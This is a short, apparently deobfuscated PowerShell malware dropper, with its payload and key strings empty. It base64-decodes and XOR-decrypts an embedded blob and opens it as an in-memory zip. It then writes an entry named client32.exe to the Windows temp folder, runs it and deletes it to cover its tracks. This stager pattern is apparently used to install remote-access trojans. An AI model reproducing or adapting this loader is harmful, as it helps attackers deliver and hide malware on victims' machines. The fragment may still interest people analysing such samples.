/* Decoded by unphp.net */ .ToCharArray();$x9tdshpn5fbia63 = ;$7xfsnyw1kb4ao63 = [System.Convert]::FromBase64String($x9tdshpn5fbia63); for ($i = 0; $i -lt $7xfsnyw1kb4ao63.Length; $i++) { $7xfsnyw1kb4ao63[$i] = $7xfsnyw1kb4ao63[$i] -bxor [byte][char]$z0satxqc9fm6wlh[$i % $z0satxqc9fm6wlh.Length] }; $zipStream = New-Object System.IO.MemoryStream($7xfsnyw1kb4ao63, $true); $zipArchive = New-Object System.IO.Compression.ZipArchive($zipStream); $zipArchive.Entries | % { $memoryStream = New-Object System.IO.MemoryStream; $_.Open().CopyTo($memoryStream); if ($_.Name -eq 'client32.exe') { $path = "C:\Windows\Temp\$($_.Name)"; [System.IO.File]::WriteAllBytes($path, $memoryStream.ToArray()); iex $path; ri $path; } }; $zipStream.Close() ?>